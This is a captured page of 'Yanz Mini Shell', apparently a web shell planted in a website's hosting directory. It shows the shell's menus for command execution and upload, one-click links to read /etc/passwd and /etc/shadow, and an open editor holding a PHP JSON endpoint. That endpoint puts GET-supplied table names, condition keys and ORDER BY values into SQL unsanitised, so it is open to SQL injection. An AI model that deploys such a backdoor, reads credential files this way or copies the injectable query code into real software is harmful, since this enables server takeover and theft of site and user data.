Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
datetimepicker
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); include '../../config/config.php'; // Adjust path if necessary /** * Fetch data dynamically with error handling */ function fetchData($pdo, $table, $columns = '*', $conditions = [], $orderBy = '') { try { // Validate table existence if (!tableExists($pdo, $table)) { return json_encode(["success" => false, "error" => "Table '$table' does not exist."]); } // Validate columns if (is_array($columns)) { $validColumns = getTableColumns($pdo, $table); foreach ($columns as $col) { if (!in_array($col, $validColumns)) { return json_encode(["success" => false, "error" => "Column '$col' does not exist in table '$table'."]); } } $columns = implode(', ', $columns); } else { $columns = '*'; // Default to all columns if not provided } // Build WHERE clause dynamically $whereClause = ""; if (!empty($conditions)) { $whereParts = []; foreach ($conditions as $column => $value) { $whereParts[] = "$column = :$column"; } $whereClause = "WHERE " . implode(" AND ", $whereParts); } // Construct final SQL query $query = "SELECT $columns FROM $table $whereClause"; if (!empty($orderBy)) { $query .= " ORDER BY $orderBy"; } $stmt = $pdo->prepare($query); error_log($query); // Bind values dynamically foreach ($conditions as $column => $value) { $stmt->bindValue(":$column", $value); } $stmt->execute(); $data = $stmt->fetchAll(PDO::FETCH_ASSOC); return json_encode(["success" => true, "data" => $data]); } catch (PDOException $e) { error_log("Database Error: " . $e->getMessage()); return json_encode(["success" => false, "error" => "Database error occurred."]); } } /** * Check if the given table exists in the database */ function tableExists($pdo, $table) { try { $stmt = $pdo->prepare("SHOW TABLES LIKE :table"); $stmt->bindValue(':table', $table); $stmt->execute(); return $stmt->rowCount() > 0; } catch (PDOException $e) { return false; } } /** * Get all columns of a table */ function getTableColumns($pdo, $table) { try { $stmt = $pdo->prepare("SHOW COLUMNS FROM `$table`"); $stmt->execute(); $columns = $stmt->fetchAll(PDO::FETCH_COLUMN); return $columns ?: []; } catch (PDOException $e) { return []; } } // Example usage // $table = "tbl_client"; // $columns = ["id", "name"]; // Specify columns // $conditions = ["status" => "active"]; // Optional WHERE conditions // $orderBy = "name ASC"; // Optional ORDER BY if(!isset($_GET['table']) || $_GET['table']==""){ echo json_encode(["success" => false, "error" => "Table name required."]); return 0 ; } $table = $_GET['table'] ?? ''; $columns = isset($_GET['columns']) ? explode(',', $_GET['columns']) : ['id', 'name']; $conditions = isset($_GET['conditions']) ? json_decode($_GET['conditions'], true) : []; $orderBy = $_GET['orderby'] ?? ''; echo fetchData($pdo, $table, $columns, $conditions, $orderBy); ?>
Free Space : 11124264960 Byte